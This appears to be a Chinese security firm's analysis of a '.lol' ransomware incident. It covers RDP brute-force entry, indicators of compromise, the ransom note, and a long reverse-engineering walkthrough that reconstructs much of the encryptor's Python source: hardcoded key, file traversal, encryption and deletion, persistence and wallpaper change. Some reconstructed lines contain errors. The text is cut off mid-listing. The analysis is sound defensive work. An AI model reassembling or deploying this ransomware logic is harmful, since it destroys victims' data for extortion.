1.背景
国庆前夕,我们接到来自北京某客户的紧急求助,称其公司超过10台设备遭遇勒索病毒攻击,导致业务全面瘫痪,亟需协助。接到请求后,Solar安全团队立即赶赴现场,协助客户进行安全断网并备份关键数据,以防病毒进一步扩散。
在排查过程中,我们发现客户的安全设备成功检测并隔离了该加密器。通过提取隔离区文件,我们成功获取了加密器的样本。客户出于数据恢复的迫切需求,与黑客进行了初步谈判,勒索金额为每台1200美元(约合人民币8510元),总计18000美元(约合人民币127740元)。然而,我们建议客户优先尝试技术手段进行恢复,因为部分勒索组织可能在收到赎金后并不提供解密工具,甚至会实施二次勒索。详见前期文章【病毒分析】交了赎金也无法恢复--针对国内某知名NAS的LVT勒索病毒最新分析
通过我们的分析,团队成功破解了该勒索病毒,顺利恢复了客户的所有数据,恢复率达到100%。本篇文章将详细分析该勒索病毒的技术特征,下一篇将分享我们的破解思路和工具。
2.溯源分析
2.1 入口点
由于服务器的IP映射至互联网,且远程桌面功能未设置访问限制,导致3389端口对外暴露。黑客在发现该IP和开放的3389端口后,自2024年9月7日7:15:10起便频繁利用大量恶意IP进行RDP爆破攻击,疑似通过跳板机或代理IP实施攻击,后续咨询用户得知服务器RDP密码为弱口令。
攻击者首次爆破时间
攻击者恶意IP信息
2.2 横向感染
2024年9月21日0:55,黑客利用伊朗恶意IP 46.164.83.19成功登陆服务器,并通过该跳板机使用Netscan和Nbtscan等工具收集信息,随后利用NLBrute进行RDP用户名和密码的暴力破解,扩大了感染范围。至1:57,黑客开始执行加密操作,最终共导致15台机器被感染,业务瘫痪、无法正常运行。
攻击者成功登系统
攻击者恶意IP信息
3.恶意文件基础信息
3.1 加密器基本信息
文件名: |
Crypt.exe |
编译器: |
Microsoft Visual C/C++(19.36.33813)[C] |
大小: |
19.81 MB |
操作系统: |
Windows(Vista)[AMD64, 64位, Console] |
类型: |
EXEC |
字节序: |
LE |
MD5: |
ddef08ea0d2d4d3fcb1833864908de42 |
SHA1: |
300566f50769baab1db9abc1b7bf2fc297489b67 |
SHA256: |
4998131d9da04240464355e09181f10dc42234fc08f58d710b4d821ea89fc635 |
3.3 勒索信
您的文件已被锁定。
您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我发送电子邮件。
获取解密工具和解密过程的详细信息。
案例编号:MJ-CHNull003
电子邮件:elenaelerhsteink08673@gmail.com
Your Files Have Been Locked.
Your files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.
To obtain the decryption tool and detailed instructions:
Case Number: MJ-CHNull003
Contact Email: elenaelerhsteink08673@gmail.com
4.加密后文件分析
4.1威胁分析
病毒家族 |
lol |
首次出现时间/捕获分析时间 |
2024/09/29 || 2024/9/29 |
威胁类型 |
勒索软件,加密病毒 |
加密文件扩展名 |
.lol |
勒索信文件名 |
Ransom_Note.txt |
有无免费解密器? |
无 |
联系邮箱 |
elenaelerhsteink08673@gmail.com |
检测名称 |
Avast (Win32:Malware-gen), AhnLab-V3 (Trojan/Win.Generic.C5576951), ALYac (Gen:Variant.Tedy.512515), Avira (no cloud) (TR/Ransom.imrnt), BitDefenderTheta (Gen:NN.ZexaF.36802.yq0@aSdxC8m), CrowdStrike Falcon (Win/malicious_confidence_100% (W)),Cylance(Unsafe),DeepInstinct(MALICIOUS),Emsisoft(Gen:Variant.Tedy.512515 (B)),ESET-NOD32(A Variant Of MSIL/Filecoder.LU),GData(Gen:Variant.Tedy.512515), Ikarus (Trojan.MSIL.Crypt),K7GW(Trojan ( 0052f4e41 )) |
感染症状 |
无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.locked)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。 |
感染方式 |
受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接 |
受灾影响 |
所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。 |
4.2 加密的测试文件
4.2.1文件名
sierting.txt
4.2.2具体内容
4.2.3加密文件名特征
加密文件名 = 原始文件名+lol ,例如:sierting.txt.lol
4.2.4加密算法
文件加密使用了nacl加密算法。
4.2.5释放文件
4.2.5.1勒索信(Ransom_Note.txt)
文件内容
```C++
您的文件已被锁定。
您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我发送电子邮件。
获取解密工具和解密过程的详细信息。
案例编号:MJ-CHNull003
电子邮件:elenaelerhsteink08673@gmail.com
Your Files Have Been Locked.
Your files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.
To obtain the decryption tool and detailed instructions:
Case Number: MJ-CHNull003
Contact Email: elenaelerhsteink08673@gmail.com```
5.逆向分析
5.1 总体流程分析
5.2加密器逆向分析
通过使用ida进行分析可以发现他是由python打包而成的exe
因此使用pyinstxtractor 与pycdc可以获取源码
5.2.1更换勒索壁纸
将勒索邮箱写入壁纸,然后更换壁纸
img = Image.new('RGB', (1280, 800), (73, 109, 137), **('color',))
d = ImageDraw.Draw(img)
font = ImageFont.load_default()
text = f'''Your files are locked! Contact: {email}'''
d.text((100, 250), text, (255, 255, 255), font, **('fill', 'font'))
img.save('background_image.jpg')
ctypes.windll.user32.SystemParametersInfoW(20, 0, os.path.abspath('background_image.jpg'), 3)
5.2.2添加开机启动项
使用写入注册表的形式实现权限维持,由于这是python打包而成的exe,在获取路径的时候会获取为python文件的路径,但是这个路径在程序运行结束之后会自行删除,因此这是一个无效的权限维持手段
def add_to_startup(script_path):
key = OpenKey(HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, KEY_SET_VALUE)
SetValueEx(key, 'MyScript', 0, REG_SZ, script_path)
CloseKey(key)
5.2.3写入勒索信
写入勒索信
def create_ransom_note():
Unsupported opcode: RERAISE
message = '您的文件已被锁定。\n您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我 发送电子邮件。\n获取解密工具和解密过程的详细信息。\n\n案例编号:MJ-CHNull003\n电子邮件:elenaelerhsteink08673@gmail.com\n\nYour Files Have Been Locked.\nYour files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.\nTo obtain the decryption tool and detailed instructions:\n\nCase Number: MJ-CHNull003\nContact Email: elenaelerhsteink08673@gmail.com\n'
user_profiles = (lambda .0: [ os.path.join('C:\\Users', user) for user in .0 if os.path.isdir(os.path.join('C:\\Users', user)) ])(os.listdir('C:\\Users'))
5.2.4 密钥生成
Key = b'\xc0n\xf7\xd3\x95\x90w7\x06\xdd\xc2A\x8d\xaew\xcd[\xdb\xc9R\xf0\xfbLE8\xf0\xf7\xd5\xce\xed\xd6\xfa'
Box = nacl.secret.SecretBox(Key)
5.2.5 初始化加密路径
初始化加密路径,对于c盘只加密C:\Users路径下的文件
PathList = [
'C:\\Users\\\\']
for Latter in range(97, 123):
PathList.append(f'''{chr(Latter)}:\\''')
PathList.remove('c:\\')
print(f'''Valid user directories: {PathList}''')
5.2.6 申请提权弹窗
判断是否为管理员权限
AdminRight = ctypes.windll.shell32.IsUserAnAdmin()
如果不是,弹出窗口要求以管理员权限运行
```C++
def CallErrorBox():
WINDOW = tkinter.Tk()
WINDOW.withdraw()
messagebox.showerror('Error', 'Try To Re-Run As Administrator')
### 5.2.7 遍历路径加密文件
对路径进行遍历,并排除部分文件,然后调用nacl算法进行加密
```Python
def encrypt_files_in_path(path):
for root, _, files in os.walk(path):
for name in files:
file_path = os.path.join(root, name)
file_size = os.stat(file_path).st_size
if None((lambda .0 = None: for x in .0:x in file_path)(('$Recycle.Bin', 'Windows', 'AppData', 'System32'))):
continue
if None((lambda .0 = None: for ext in .0:file_path.endswith(ext))(('.dll', '.exe', '.msn', 'Ransom_Note.txt', 'background_image.jpg', '.gay', 'Key.txt', 'ReadIt.txt'))):
continue
if file_size >= FILE_SIZE_THRESHOLD:
yield file_path
continue
print(f'''Encrypting small file {file_path}''')
D_E_ncrypt(file_path, Box).FileE()
5.3代码还原
5.3.1 python字节码生成
通过上文我们得到的pyc文件,我们可以通过pycdas工具将pyc反编译为python字节码
5.3.2 D_E_ncrypt
5.3.2.1 D_E_ncrypt.FileE
fileE函数对应的字节码如下
0 LOAD_GLOBAL 0: print
2 LOAD_CONST 1: 'FILE -> '
4 LOAD_FAST 0: self
6 LOAD_ATTR 1: Target
8 FORMAT_VALUE 0 (FVC_NONE)
10 BUILD_STRING 2
12 CALL_FUNCTION 1
14 POP_TOP
16 SETUP_FINALLY 192 (to 210)
18 LOAD_GLOBAL 2: os
20 LOAD_ATTR 3: path
22 LOAD_METHOD 4: isdir
24 LOAD_FAST 0: self
26 LOAD_ATTR 1: Target
28 CALL_METHOD 1
30 LOAD_CONST 2: True
32 COMPARE_OP 3 (!=)
34 POP_JUMP_IF_FALSE 206
36 LOAD_GLOBAL 5: open
38 LOAD_FAST 0: self
40 LOAD_ATTR 1: Target
42 LOAD_CONST 3: 'rb'
44 CALL_FUNCTION 2
46 SETUP_WITH 24 (to 72)
48 STORE_FAST 1: File
50 LOAD_FAST 1: File
52 LOAD_METHOD 6: read
54 CALL_METHOD 0
56 STORE_FAST 2: Date
58 POP_BLOCK
60 LOAD_CONST 0: None
62 DUP_TOP
64 DUP_TOP
66 CALL_FUNCTION 3
68 POP_TOP
70 JUMP_FORWARD 16 (to 88)
72 WITH_EXCEPT_START
74 POP_JUMP_IF_TRUE 78
76 RERAISE
78 POP_TOP
80 POP_TOP
82 POP_TOP
84 POP_EXCEPT
86 POP_TOP
88 LOAD_FAST 0: self
90 LOAD_ATTR 1: Target
92 STORE_FAST 3: FileName
94 LOAD_FAST 0: self
96 LOAD_ATTR 7: BoxM
98 LOAD_METHOD 8: encrypt
100 LOAD_FAST 2: Date
102 CALL_METHOD 1
104 STORE_FAST 4: Encrypted
106 LOAD_FAST 0: self
108 LOAD_ATTR 1: Target
110 LOAD_GLOBAL 9: sys
112 LOAD_ATTR 10: argv
114 LOAD_CONST 4: 0
116 BINARY_SUBSCR
118 COMPARE_OP 3 (!=)
120 POP_JUMP_IF_FALSE 206
122 LOAD_GLOBAL 5: open
124 LOAD_FAST 3: FileName
126 FORMAT_VALUE 0 (FVC_NONE)
128 LOAD_CONST 5: '.lol'
130 BUILD_STRING 2
132 LOAD_CONST 6: 'wb'
134 CALL_FUNCTION 2
136 SETUP_WITH 40 (to 178)
138 STORE_FAST 1: File
140 LOAD_GLOBAL 0: print
142 LOAD_CONST 1: 'FILE -> '
144 LOAD_FAST 3: FileName
146 FORMAT_VALUE 0 (FVC_NONE)
148 BUILD_STRING 2
150 CALL_FUNCTION 1
152 POP_TOP
154 LOAD_FAST 1: File
156 LOAD_METHOD 11: write
158 LOAD_FAST 4: Encrypted
160 CALL_METHOD 1
162 POP_TOP
164 POP_BLOCK
166 LOAD_CONST 0: None
168 DUP_TOP
170 DUP_TOP
172 CALL_FUNCTION 3
174 POP_TOP
176 JUMP_FORWARD 16 (to 194)
178 WITH_EXCEPT_START
180 POP_JUMP_IF_TRUE 184
182 RERAISE
184 POP_TOP
186 POP_TOP
188 POP_TOP
190 POP_EXCEPT
192 POP_TOP
194 LOAD_GLOBAL 2: os
196 LOAD_METHOD 12: remove
198 LOAD_FAST 0: self
200 LOAD_ATTR 1: Target
202 CALL_METHOD 1
204 POP_TOP
206 POP_BLOCK
208 JUMP_FORWARD 52 (to 262)
210 DUP_TOP
212 LOAD_GLOBAL 13: Exception
214 JUMP_IF_NOT_EXC_MATCH 260
218 POP_TOP
220 STORE_FAST 5: e
222 POP_TOP
224 SETUP_FINALLY 26 (to 252)
226 LOAD_GLOBAL 0: print
228 LOAD_CONST 7: 'Error -> '
230 LOAD_FAST 5: e
232 FORMAT_VALUE 0 (FVC_NONE)
234 BUILD_STRING 2
236 CALL_FUNCTION 1
238 POP_TOP
240 POP_BLOCK
242 POP_EXCEPT
244 LOAD_CONST 0: None
246 STORE_FAST 5: e
248 DELETE_FAST 5: e
250 JUMP_FORWARD 10 (to 262)
252 LOAD_CONST 0: None
254 STORE_FAST 5: e
256 DELETE_FAST 5: e
258 RERAISE
260 RERAISE
262 LOAD_CONST 0: None
264 RETURN_VALUE
我们只反编译出了该字节码的前几行
def FileE(self):
Unsupported opcode: RERAISE
print(f'''FILE -> {self.Target}''')
# WARNING: Decompyle incomplete
对应字节码中的
0 LOAD_GLOBAL 0: print //加载函数print
2 LOAD_CONST 1: 'FILE -> ' //加载常量
4 LOAD_FAST 0: self //加载局部变量
6 LOAD_ATTR 1: Target //加载对象属性并放置于栈顶
8 FORMAT_VALUE 0 (FVC_NONE) //格式化字符串
10 BUILD_STRING 2 //拼接字符串
12 CALL_FUNCTION 1 //调用函数print
14 POP_TOP //弹出栈顶元素
设置了一个异常处理,从16行到84行的 字节码都处于try,catch中
16 SETUP_FINALLY 192 (to 210) //设置异常处理,如果触发异常则跳转到210行
84 POP_EXCEPT //结束异常处理
异常处理部分
210 DUP_TOP //复制栈顶的元素并将其放回栈顶
212 LOAD_GLOBAL 13: Exception
214 JUMP_IF_NOT_EXC_MATCH 260 //判断是否匹配异常,如果不匹配就调转到260行 结束函数的位置
218 POP_TOP
220 STORE_FAST 5: e //保存变量
222 POP_TOP
224 SETUP_FINALLY 26 (to 252) //再次设置异常处理
226 LOAD_GLOBAL 0: print
228 LOAD_CONST 7: 'Error -> '
230 LOAD_FAST 5: e
232 FORMAT_VALUE 0 (FVC_NONE)
234 BUILD_STRING 2
236 CALL_FUNCTION 1 //调用print
238 POP_TOP
240 POP_BLOCK
242 POP_EXCEPT
244 LOAD_CONST 0: None
246 STORE_FAST 5: e
248 DELETE_FAST 5: e
250 JUMP_FORWARD 10 (to 262)
252 LOAD_CONST 0: None
254 STORE_FAST 5: e
256 DELETE_FAST 5: e
258 RERAISE
260 RERAISE
262 LOAD_CONST 0: None
264 RETURN_VALUE
因此异常处理的代码如下
try:
#加密部分
except Exception as e:
try:
print('Error -> ', e)
except :
return 0
接着翻译加密部分代码
18 LOAD_GLOBAL 2: os
20 LOAD_ATTR 3: path
22 LOAD_METHOD 4: isdir
24 LOAD_FAST 0: self
26 LOAD_ATTR 1: Target
28 CALL_METHOD 1 //os.path.isdir(self.Target)
30 LOAD_CONST 2: True
32 COMPARE_OP 3 (!=)
34 POP_JUMP_IF_FALSE 206 //判断结果是否为true 不为true则跳转到206
36 LOAD_GLOBAL 5: open
38 LOAD_FAST 0: self
40 LOAD_ATTR 1: Target
42 LOAD_CONST 3: 'rb'
44 CALL_FUNCTION 2
46 SETUP_WITH 24 (to 72)//with open(self.Target,"rb")
48 STORE_FAST 1: File //保存变量为file
50 LOAD_FAST 1: File
52 LOAD_METHOD 6: read
54 CALL_METHOD 0
56 STORE_FAST 2: Date//Date = File.read()
58 POP_BLOCK
60 LOAD_CONST 0: None
62 DUP_TOP
64 DUP_TOP
66 CALL_FUNCTION 3
68 POP_TOP
70 JUMP_FORWARD 16 (to 88) 无条件跳转
其中206处的字节如下
206 POP_BLOCK
208 JUMP_FORWARD 52 (to 262)
262 LOAD_CONST 0: None
264 RETURN_VALUE //return 0
因此可以翻译成以下代码
try:
if os.path.isdir(self.Target) !=true:
with open(self.Target,"rb") as File:
Date = File.read()
else:
return 0
except Exception as e:
try:
print('Error -> ', e)
except:
return 0
88 LOAD_FAST 0: self
90 LOAD_ATTR 1: Target
92 STORE_FAST 3: FileName
94 LOAD_FAST 0: self
96 LOAD_ATTR 7: BoxM
98 LOAD_METHOD 8: encrypt
100 LOAD_FAST 2: Date
102 CALL_METHOD 1
104 STORE_FAST 4: Encrypted
将上面的翻译成代码就是
Filename = self.Target
Encrypted = self.BoxM.encrypt(Date)
106 LOAD_FAST 0: self
108 LOAD_ATTR 1: Target
110 LOAD_GLOBAL 9: sys
112 LOAD_ATTR 10: argv
114 LOAD_CONST 4: 0
116 BINARY_SUBSCR //从元组或者字典中获取元素 这里指获取sys.argv[0]
118 COMPARE_OP 3 (!=)
120 POP_JUMP_IF_FALSE 206
122 LOAD_GLOBAL 5: open
124 LOAD_FAST 3: FileName
126 FORMAT_VALUE 0 (FVC_NONE) //格式化字符串
128 LOAD_CONST 5: '.lol'
130 BUILD_STRING 2
132 LOAD_CONST 6: 'wb'
134 CALL_FUNCTION 2
136 SETUP_WITH 40 (to 178)
138 STORE_FAST 1: File
140 LOAD_GLOBAL 0: print
142 LOAD_CONST 1: 'FILE -> '
144 LOAD_FAST 3: FileName
146 FORMAT_VALUE 0 (FVC_NONE)
148 BUILD_STRING 2
150 CALL_FUNCTION 1
152 POP_TOP
154 LOAD_FAST 1: File
156 LOAD_METHOD 11: write
158 LOAD_FAST 4: Encrypted
160 CALL_METHOD 1
翻译后的代码为
if self.Target != sys.argv[0]:
with open(Filename+'.lol','wb') as File:
print(f'''FILE -> {Filename}''')
File.write(Encrypted)
else:
return 0
194 LOAD_GLOBAL 2: os
196 LOAD_METHOD 12: remove
198 LOAD_FAST 0: self
200 LOAD_ATTR 1: Target
202 CALL_METHOD 1
204 POP_TOP
206 POP_BLOCK
208 JUMP_FORWARD 52 (to 262)
os.remove(Self.Target)
return 0
因此 FileE函数大致代码为
def FileE(self):
print(f'''FILE -> {self.Target}''')
try:
if os.path.isdir(self.Target) !=true:
with open(self.Target,"rb") as File:
Date = File.read()
else:
return 0
except Exception as e:
try:
print('Error -> ', e)
except:
return 0
Filename = self.Target
Encrypted = self.BoxM.encrypt(Date)
if self.Target != sys.argv[0]:
with open(Filename+'.lol','wb') as File:
print(f'''FILE -> {Filename}''')
File.write(Encrypted)
else :
return 0
os.remove(Self.Target)
4.3.2.2 SendKey
此函数被正常反编译出来,这里就不再赘述
def SendKey(self):
requests.get(self.Url)
5.3.2.3 init
此函数被正常反编译出来,这里就不再赘述
def __init__(self, Target, BoxM, Url = (0, 0, 0)):
self.Target = Target
self.BoxM = BoxM
self.Url = Url
5.3.3 create_image_with_email函数
此函数被正常反编译出来,这里就不再赘述
def create_image_with_email(email):
img = Image.new('RGB', (1280, 800), (73, 109, 137), **('color',))
d = ImageDraw.Draw(img)
font = ImageFont.load_default()
text = f'''Your files are locked! Contact: {email}'''
d.text((100, 250), text, (255, 255, 255), font, **('fill', 'font'))
img.save('background_image.jpg')
ctypes.windll.user32.SystemParametersInfoW(20, 0, os.path.abspath('background_image.jpg'), 3)
5.3.4 add_to_startup函数
此函数被正常反编译出来,这里就不再赘述
def add_to_startup(script_path):
key = OpenKey(HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Run', 0, KEY_SET_VALUE)
SetValueEx(key, 'MyScript', 0, REG_SZ, script_path)
CloseKey(key)
5.3.5 create_ransom_note 函数
通过工具,我们能反编译出他的前几行代码,但是后面的代码都不能识别,因此进行手动还原代码
def create_ransom_note():
Unsupported opcode: RERAISE
message = '您的文件已被锁定。\n您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我 发送电子邮件。\n获取解密工具和解密过程的详细信息。\n\n案例编号:MJ-CHNull003\n电子邮件:elenaelerhsteink08673@gmail.com\n\nYour Files Have Been Locked.\nYour files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.\nTo obtain the decryption tool and detailed instructions:\n\nCase Number: MJ-CHNull003\nContact Email: elenaelerhsteink08673@gmail.com\n'
user_profiles = (lambda .0: [ os.path.join('C:\\Users', user) for user in .0 if os.path.isdir(os.path.join('C:\\Users', user)) ])(os.listdir('C:\\Users'))
# WARNING: Decompyle incomplete
首先来处理第一段字节码,这里面调用了一个列表推导式
0 LOAD_CONST 1: '您的文件已被锁定。\n您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我发送电子邮件。\n获取解密工具和解密过程的详细信息。\n\n案例编号:MJ-CHNull003\n电子邮件:elenaelerhsteink08673@gmail.com\n\nYour Files Have Been Locked.\nYour files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.\nTo obtain the decryption tool and detailed instructions:\n\nCase Number: MJ-CHNull003\nContact Email: elenaelerhsteink08673@gmail.com\n'
2 STORE_FAST 0: message
4 LOAD_CONST 2: <CODE> <listcomp>
6 LOAD_CONST 3: 'create_ransom_note.<locals>.<listcomp>'
8 MAKE_FUNCTION 0 //调用一个自写的列表推导式
10 LOAD_GLOBAL 0: os
12 LOAD_METHOD 1: listdir
14 LOAD_CONST 4: 'C:\\Users' //输入的参数
16 CALL_METHOD 1
18 GET_ITER
20 CALL_FUNCTION 1
22 STORE_FAST 1: user_profiles
列表推导式的字节码如下
0 BUILD_LIST 0
2 LOAD_FAST 0: .0 //输入的参数 这里指的是os.listdir('C:\\Users')
4 FOR_ITER 40 (to 46) //循环
6 STORE_FAST 1: user
8 LOAD_GLOBAL 0: os
10 LOAD_ATTR 1: path
12 LOAD_METHOD 2: isdir
14 LOAD_GLOBAL 0: os
16 LOAD_ATTR 1: path
18 LOAD_METHOD 3: join
20 LOAD_CONST 0: 'C:\\Users'
22 LOAD_FAST 1: user
24 CALL_METHOD 2 // os.path.join('C:\\Users', user)
26 CALL_METHOD 1 //os.path.isdir(os.path.join('C:\\Users', user))
28 POP_JUMP_IF_FALSE 4 //如果为flase 跳到4 重新开始迭代
30 LOAD_GLOBAL 0: os
32 LOAD_ATTR 1: path
34 LOAD_METHOD 3: join
36 LOAD_CONST 0: 'C:\\Users'
38 LOAD_FAST 1: user
40 CALL_METHOD 2 // os.path.join('C:\\Users', user)
42 LIST_APPEND 2 //添加到数组中
44 JUMP_ABSOLUTE 4
46 RETURN_VALUE
还原后的代码如下
[os.path.join('C:\\Users', user) for user in os.listdir('C:\\Users') if os.path.isdir(os.path.join('C:\\Users', user))]
然后是第二段字节码
24 LOAD_FAST 1: user_profiles
26 GET_ITER
28 FOR_ITER 178 (to 208)//对user_profiles进行迭代
30 STORE_FAST 2: user_profile
32 LOAD_GLOBAL 0: os
34 LOAD_ATTR 2: path
36 LOAD_METHOD 3: join
38 LOAD_FAST 2: user_profile
40 LOAD_CONST 5: 'Desktop'
42 CALL_METHOD 2
44 STORE_FAST 3: desktop_path
最后得到的代码如下
for user_profile in user_profiles:
desktop_path= os.path.join(user_profile,'Desktop')
然后是一段判断
46 LOAD_GLOBAL 0: os
48 LOAD_ATTR 2: path
50 LOAD_METHOD 4: exists
52 LOAD_FAST 3: desktop_path
54 CALL_METHOD 1
56 POP_JUMP_IF_FALSE 28 //如果值为false则跳转到循环的开头,及contiune操作
代码如下
ransom_note_path = os.path.join(desktop_path,'Ransom_Note.txt')
接下来是一段异常处理
58 SETUP_FINALLY 90 (to 150) //设置异常处理
60 LOAD_GLOBAL 0: os
62 LOAD_ATTR 2: path
64 LOAD_METHOD 3: join
66 LOAD_FAST 3: desktop_path
68 LOAD_CONST 6: 'Ransom_Note.txt'
70 CALL_METHOD 2 //os.path.join(desktop_path,'Ransom_Note.txt')
72 STORE_FAST 4: ransom_note_path
74 LOAD_GLOBAL 5: open
76 LOAD_FAST 4: ransom_note_path
78 LOAD_CONST 7: 'w'
80 LOAD_CONST 8: 'utf-8'
82 LOAD_CONST 9: ('encoding',)
84 CALL_FUNCTION_KW 3
86 SETUP_WITH 26 (to 114) //with open(ransom_note_path, 'w', encoding='utf-8')
88 STORE_FAST 5: ransom_note_file // as ransom_note_file:
90 LOAD_FAST 5: ransom_note_file
92 LOAD_METHOD 6: write
94 LOAD_FAST 0: message //ransom_note_file.write(message)
96 CALL_METHOD 1
98 POP_TOP
100 POP_BLOCK
102 LOAD_CONST 0: None
104 DUP_TOP
106 DUP_TOP
108 CALL_FUNCTION 3
110 POP_TOP
112 JUMP_FORWARD 16 (to 130) //无条件跳转
114 WITH_EXCEPT_START
116 POP_JUMP_IF_TRUE 120
118 RERAISE
120 POP_TOP
122 POP_TOP
124 POP_TOP
126 POP_EXCEPT
128 POP_TOP
130 LOAD_GLOBAL 7: print
132 LOAD_CONST 10: 'Ransom note placed on '
134 LOAD_FAST 2: user_profile
136 FORMAT_VALUE 0 (FVC_NONE) //格式化字符串
138 LOAD_CONST 11: "'s desktop."
140 BUILD_STRING 3
142 CALL_FUNCTION 1 //print(f'Ransom note placed on {user_profile}\'s desktop.')
144 POP_TOP
146 POP_BLOCK
148 JUMP_ABSOLUTE 28
150 DUP_TOP
152 LOAD_GLOBAL 8: Exception //加载异常
154 JUMP_IF_NOT_EXC_MATCH 204
156 POP_TOP
158 STORE_FAST 6: e
160 POP_TOP
162 SETUP_FINALLY 32 (to 196)
164 LOAD_GLOBAL 7: print
166 LOAD_CONST 12: 'Failed to create ransom note on '
168 LOAD_FAST 2: user_profile
170 FORMAT_VALUE 0 (FVC_NONE)
172 LOAD_CONST 13: "'s desktop: "
174 LOAD_FAST 6: e
176 FORMAT_VALUE 0 (FVC_NONE)
178 BUILD_STRING 4
180 CALL_FUNCTION 1
182 POP_TOP
184 POP_BLOCK
186 POP_EXCEPT
188 LOAD_CONST 0: None
190 STORE_FAST 6: e
92 DELETE_FAST 6: e
194 JUMP_ABSOLUTE 28
196 LOAD_CONST 0: None
198 STORE_FAST 6: e
200 DELETE_FAST 6: e
202 RERAISE
204 RERAISE
206 JUMP_ABSOLUTE 28
208 LOAD_CONST 0: None
210 RETURN_VALUE
最后还原的代码如下
try:
ransom_note_path = os.path.join(desktop_path,'Ransom_Note.txt')
with open(ransom_note_path, 'w', encoding='utf-8') as ransom_note_file:
ransom_note_file.write(message)
except Exception as e:
print(f'Failed to create ransom note on {user_profile}\'s desktop: {e}')
continue
print(f'Ransom note placed on {user_profile}\'s desktop.')
因此这个函数的大致代码为,用于创建勒索信
def create_ransom_note():
message = '您的文件已被锁定。\n您的文件已使用加密算法加密。如果您需要这些文件,并且它们对您很重要,请不要犹豫,给我 发送电子邮件。\n获取解密工具和解密过程的详细信息。\n\n案例编号:MJ-CHNull003\n电子邮件:elenaelerhsteink08673@gmail.com\n\nYour Files Have Been Locked.\nYour files have been encrypted using a strong encryption algorithm. If you need these files and they are important to you, do not hesitate to send me an email.\nTo obtain the decryption tool and detailed instructions:\n\nCase Number: MJ-CHNull003\nContact Email: elenaelerhsteink08673@gmail.com\n'
user_profiles = [os.path.join('C:\\Users', user) for user in os.listdir('C:\\Users') if os.path.isdir(os.path.join('C:\\Users', user))]
for user_profile in user_profiles:
desktop_path= os.path.join(user_profile,'Desktop')
if not os.path.exists(desktop_path):
continue
try:
ransom_note_path = os.path.join(desktop_path,'Ransom_Note.txt')
with open(ransom_note_path, 'w', encoding='utf-8') as ransom_note_file:
ransom_note_file.write(message)
except Exception as e:
print(f'Failed to create ransom note on {user_profile}\'s desktop: {e}')
continue
print(f'Ransom note placed on {user_profile}\'s desktop.')
5.3.6 OneStart 函数
这个函数也只反编译了一部分出来,因此我们也需要对他进行代码的还原。
首先是一个输出
0 LOAD_GLOBAL 0: print
2 LOAD_CONST 1: "It's Working"
4 CALL_FUNCTION 1
print("It's Working")
然后使用了一个线程池进行并发操作
8 LOAD_GLOBAL 1: ThreadPoolExecutor
10 LOAD_GLOBAL 2: MAX_THREAD_WORKERS
12 LOAD_CONST 2: ('max_workers',)
14 CALL_FUNCTION_KW 1
16 SETUP_WITH 140 (to 158)
18 STORE_DEREF 0: executor
20 LOAD_CLOSURE 0: executor// with ThreadPoolExecutor(MAX_THREAD_WORKERS ='max_workers' ) as executor:
22 BUILD_TUPLE 1
24 LOAD_CONST 3: <CODE> <dictcomp> //调用自写的推导式
26 LOAD_CONST 4: 'OneStart.<locals>.<dictcomp>'
28 MAKE_FUNCTION 8
30 LOAD_GLOBAL 3: PathList
32 GET_ITER
34 CALL_FUNCTION 1 //将PathList数组当成参数压入栈
36 STORE_FAST 0: future_to_file
还原的代码如下
with ThreadPoolExecutor(MAX_THREAD_WORKERS ='max_workers' ) as executor:
future_to_file = {
// 调用推导式
}
推导式的字节码如下
0 BUILD_MAP 0
2 LOAD_FAST 0: .0 //加载参数
4 FOR_ITER 38 (to 44)
6 STORE_FAST 1: path //for path in pathlist
8 LOAD_GLOBAL 0: encrypt_files_in_path
10 LOAD_FAST 1: path
12 CALL_FUNCTION 1 //encrypt_files_in_path(path)
14 GET_ITER
16 FOR_ITER 24 (to 42)
18 STORE_FAST 2: file_path // for file_path in encrypt_files_in_path(path)
20 LOAD_DEREF 0: executor
22 LOAD_METHOD 1: submit
24 LOAD_GLOBAL 2: D_E_ncrypt
26 LOAD_FAST 2: file_path
28 LOAD_GLOBAL 3: Box
30 CALL_FUNCTION 2 //D_E_ncrypt(file_path, Box).FileE
32 LOAD_ATTR 4: FileE
34 CALL_METHOD 1 // executor.submit
36 LOAD_FAST 2: file_path
38 MAP_ADD 3
40 JUMP_ABSOLUTE 16
42 JUMP_ABSOLUTE 4
44 RETURN_VALUE
逻辑大概如下
with ThreadPoolExecutor(MAX_THREAD_WORKERS ='max_workers' ) as executor:
future_to_file = {
file_path: executor.submit(D_E_ncrypt(file_path, Box).FileE) # 提交 FileE 方法
for path in PathList
for file_path in encrypt_files_in_path(path)
}
接下来对多线程操作进行判断
38 LOAD_GLOBAL 4: as_completed
40 LOAD_FAST 0: future_to_file
42 CALL_FUNCTION 1
44 GET_ITER
46 FOR_ITER 96 (to 144)
48 STORE_FAST 1: future //for future in as_completed(future_to_file):
50 LOAD_FAST 0: future_to_file
52 LOAD_FAST 1: future
54 BINARY_SUBSCR
56 STORE_FAST 2: file_path
58 SETUP_FINALLY 26 (to 86)//设置异常处理
60 LOAD_FAST 1: future
62 LOAD_METHOD 5: result
64 CALL_METHOD 0 //future.result()
66 POP_TOP
68 LOAD_GLOBAL 0: print
70 LOAD_CONST 5: 'Successfully encrypted '
72 LOAD_FAST 2: file_path
